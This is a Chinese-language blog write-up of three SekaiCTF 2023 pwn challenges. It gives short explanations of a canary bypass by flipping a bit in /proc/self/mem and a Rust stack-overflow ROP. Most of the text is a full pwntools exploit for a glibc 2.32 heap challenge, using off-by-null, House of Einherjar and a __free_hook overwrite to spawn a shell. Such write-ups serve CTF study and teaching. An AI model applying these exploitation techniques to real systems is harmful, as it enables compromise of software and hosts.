SekaiCTF 2023 PWN

最后更新于 2025-04-03 761 字 预计阅读时间: 3 分钟


Cosmic Ray

存在gets有栈溢出但是有canary

打开/proc/self/mem,输入偏移读取该数字并选择一个bit进行反转。

直接改汇编将比较canary值的jz(0x74)的最后一位反转变成jnz(0x75)直接移除即可

Network Tools

Rust加载器给了一个rs文件运行,在ip_lookup函数存在栈溢出,可输入0x400字节。

开头给了程序基址

由于很难在在ELF中找到实际输入点,但是可以输入400字节后的数据直接p64(ret)+ROP即可

Text Sender

2.32堆题,在edit函数存在有比较名称的地方,但是是根据我们输入的字节数进行比较,堆上存在libc基址时可以输入对应的值进行泄露。

在input函数实际动调的时候发现是根据a2的大小进行输入,但是scanf("%s")会在后面加上\x00造成off by null,打House of Einherjar即可

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
import os
from LibcSearcher import *
filename="./textsender"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
    p=process(filename)
    #gdb.attach(p, "b *0x4016B5")
else:
    p=remote("node2.anna.nssctf.cn" ,28713)
select=b">"
def init_sener(name):
    p.sendlineafter(select,b"1")
    p.sendlineafter(b"Sender's name: ",name)
def add_msg(name,msg):
    p.sendlineafter(select,b"2")
    p.sendlineafter(b"Receiver: ",name)
    p.sendlineafter(b"Message: ", msg)
def edit_msg_with_msg(name,msg):
    p.sendlineafter(select,b"3")
    p.sendlineafter(b"Name: ",name)
    p.sendlineafter(b"New message: ",msg)
def edit_msg(name):
    p.sendlineafter(select,b"3")
    p.sendlineafter(b"Name: ",name)
def show():
    p.sendlineafter(select, b"4")

def send_msg():
    p.sendlineafter(select,b"5")
def exit():
    p.sendlineafter(select, b"6")

libc=ELF("./libc-2.32.so")
for i in range(9):
    add_msg((str(i)*8).encode(),(str(i)*8).encode())
send_msg()
for i in range(7):
    add_msg((str(i)*8).encode(),(str(i)*8).encode())
add_msg(b"a",b"a")
add_msg(b"b",b"b")
libc_addar=[]
for x in range(6):
    for y in range(0x100):
        if (0x8 <= y) and (y <= 0xd):
            continue
        payload=flat([
            b"0"*8,
            "\x00"*0x70,
            0x201,
            b"0"*8,
            b"\x00"*0x1f0,
            0x201,
            b''.join(p8(z) for z in libc_addar),
            p8(y)
        ])
        edit_msg(payload)
        if "Old message:" in p.recv(20).decode():
            libc_addar.append(y)
            p.sendline(b"0"*8)
            break
libc_base=u64((b''.join(p8(z) for z in libc_addar)).ljust(8,b"\x00"))-0x1b6061
heap_addr=[]
for x in range(6):
    for y in range(0x100):
        if (0x8 <= y) and (y <= 0xd):
            continue
        payload=flat([
            b"1"*8,
            "\x00"*0x70,
            0x201,
            b"1"*8,
            b"\x00"*0x1f0,
            0x21,
            b''.join(p8(z) for z in heap_addr),
            p8(y)
        ])
        edit_msg(payload)
        if "Old message:" in p.recv(20).decode():
            heap_addr.append(y)
            p.sendline(b"1"*8)
            break
heap_base=u64((b''.join(p8(z) for z in heap_addr)).ljust(8,b"\x00"))-0x12e0
send_msg()
for i in range(5):
    add_msg((str(i)*8).encode(),(str(i)*8).encode())
add_msg(b"a" * 0x20 + p64(0) + p64(0x2241+0x2A0+0x80) + p64(heap_base + 0x1380-0x2a0-0x80) * 4,b"a" )
add_msg(b"7",b"7")
for x in range(10):
    init_sener(b"a")
add_msg(b"a"*0x70+p64(0x2240+0x2A0+0x80),b"a")
init_sener(b"a")
#gdb.attach(p, "b *0x401492")
send_msg()
for x in range(9):
    init_sener(b"a")
edit_msg((b"a"*0x48+p64(0x201)+p64((libc_base+libc.sym["__free_hook"])^((heap_base+0x1060)>>12))*2))
add_msg(b"a",b"a")
add_msg(b"/bin/sh\x00",b"a")
add_msg(b"a",p64(libc_base+libc.sym["system"]))
#gdb.attach(p)
send_msg()
p.interactive()
#0x4060b0 0x405e40
此作者没有提供个人介绍。
最后更新于 2025-04-03